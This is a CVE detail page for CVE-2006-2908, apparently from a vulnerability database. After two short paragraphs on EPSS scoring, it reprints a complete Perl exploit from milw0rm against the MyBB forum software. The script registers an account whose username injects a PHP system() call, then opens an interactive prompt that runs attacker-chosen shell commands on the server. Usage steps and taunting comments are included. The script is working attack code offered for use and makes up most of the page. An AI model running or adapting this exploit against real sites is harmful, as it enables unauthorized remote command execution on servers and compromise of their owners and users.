CVE-2006-2908 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/perl # Tue Jun 13 12:37:12 CEST 2006 [email protected] # # Exploit HOWTO - read this before flood my Inbox you bitch! # # - First you need to create the special user to do this use: # ./mybibi.pl --host=http://www.example.com --dir=/mybb -1 # this step needs a graphic confirmation so the exploit writes a file # in /tmp/file.png, you need to # see this img and put the text into the prompt. If everything is ok, # you'll have a new valid user created. # * There is a file mybibi_out.html where the exploit writes the output # for debugging. # - After you have created the exploit or if you have a valid non common # user, you can execute shell commands. # # TIPS: # * Sometimes you have to change the thread Id, --tid is your friend ;) # * Don't forget to change the email. You MUST activate the account. # * Mejor karate aun dentro ti. # # LIMITATIONS: # * If the admin have the username lenght < 28 this exploit doesn't works # # Greetz to !dSR ppl and unsec # # 514 still r0xing! # user config. my $uservar = "C"; # don't use large vars. my $password = "514r0x"; my $email = "514\@mailinator.com"; use LWP::UserAgent; use HTTP::Cookies; use LWP::Simple; use HTTP::Request::Common "POST"; use HTTP::Response; use Getopt::Long; use strict; $| = 1; # you can choose this or another one. my ($proxy,$proxy_user,$proxy_pass, $username); my ($host,$debug,$dir, $command, $del, $first_time, $tid); my ($logged, $tid) = (0, 2); $username = "'.system(getenv(HTTP_".$uservar.")).'"; my $options = GetOptions ( 'host=s' => \$host, 'dir=s' => \$dir, 'proxy=s' => \$proxy, 'proxy_user=s' => \$proxy_user, 'proxy_pass=s' => \$proxy_pass, 'debug' => \$debug, '1' => \$first_time, 'tid=s' => \$tid, 'delete' => \$del); &help unless ($host); # please don't try this at home. $dir = "/" unless($dir); print "$host - $dir\n"; if ($host !~ /^http/) { $host = "http://".$host; } LWP::Debug::level('+') if $debug; my ($res, $req); my $ua = new LWP::UserAgent( cookie_jar=> { file => "$$.cookie" }); $ua->agent("Mothilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!"); $ua->proxy(['http'] => $proxy) if $proxy; $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user; create_user() if $first_time; while () { login() if !$logged; print "mybibi> "; # lost connection while(<STDIN>) { $command=$_; chomp($command); last; } &send($command); } sub send { chomp (my $cmd = shift); my $h = $host.$dir."/newthread.php"; my $req = POST $h, [ 'subject' => '514', 'message' => '/slap 514', 'previewpost' => 'Preview Post', 'action' => 'do_newthread', 'fid' => $tid, 'posthash' => 'e0561b22fe5fdf3526eabdbddb221caa' ]; $req->header($uservar => $cmd); print $req->as_string() if $debug; my $res = $ua->request($req); if ($res->content =~ /You may not post in this/) { print "[!] don't have perms to post. Change the Forum ID\n"; } else { my ($data) = $res->content =~ m/(.*?)\<\!DOCT/is; print $data; } } sub login { my $h = $host.$dir."/member.php"; my $req = POST $h,[ 'username' => $username, 'password' => $password, 'submit' => 'Login', 'action' => 'do_login' ]; my $res = $ua->request($req); if ($res->content =~ /You have successfully been logged/is) { print "[*] Login succesful!\n"; $logged = 1; } else { print "[!] Error login-in\n"; } } sub help { print "Syntax: ./$0 --host=url --dir=/mybb [options] -1 --tid=2\n"; print "\t--proxy (http), --proxy_user, --proxy_pass\n"; print "\t--debug\n"; print "the default directory is /\n"; print "\nExample\n"; print "bash# $0 --host=http(s)://www.server.com/\n"; print "\n"; exit(1); } sub create_user { # firs we need to get the img. my $h = $host.$dir."/member.php"; print "Host: $h\n"; $req = HTTP::Request->new (GET => $h."?action=register"); $res = $ua->request ($req); my $req = POST $h, [ 'action' => "register", 'agree' => "I Agree" ]; print $req->as_string() if $debug; $res = $ua->request($req); my $content = $res->content(); $content =~ m/.*(image\.php\?action.*?)\".*/is; my $img = $1; my $req = HTTP::Request->new (GET => $host.$dir."/".$img); $res = $ua->request ($req); print $req->as_string(); if ($res->content) { open (TMP, ">/tmp/file.png") or die($!); print TMP $res->content; close (TMP); print "[*] /tmp/file.png created.\n"; } my ($hash) = $img =~ m/hash=(.*?)$/; my $img_str = get_img_str(); unlink ("/tmp/file.png"); $img_str =~ s/\n//g; my $req = POST $h, [ 'username' => $username, 'password' => $password, 'password2' => $password, 'email' => $email, 'email2' => $email, 'imagestring' => $img_str, 'imagehash' => $hash, 'allownotices' => 'yes', 'receivepms' => 'yes', 'pmpopup' => 'no', 'action' => "do_register", 'regsubmit' => "Submit Registration" ]; $res = $ua->request($req); print $req->as_string() if $debug; open (OUT, ">mybibi_out.html"); print OUT $res->content; print "Check $email for confirmation or mybibi_out.html if there are some error\n"; } sub get_img_str () { print "\nNow I need the text shown in /tmp/file.png: "; my $str = <STDIN>; return $str; } exit 0; # milw0rm.com [2006-06-13]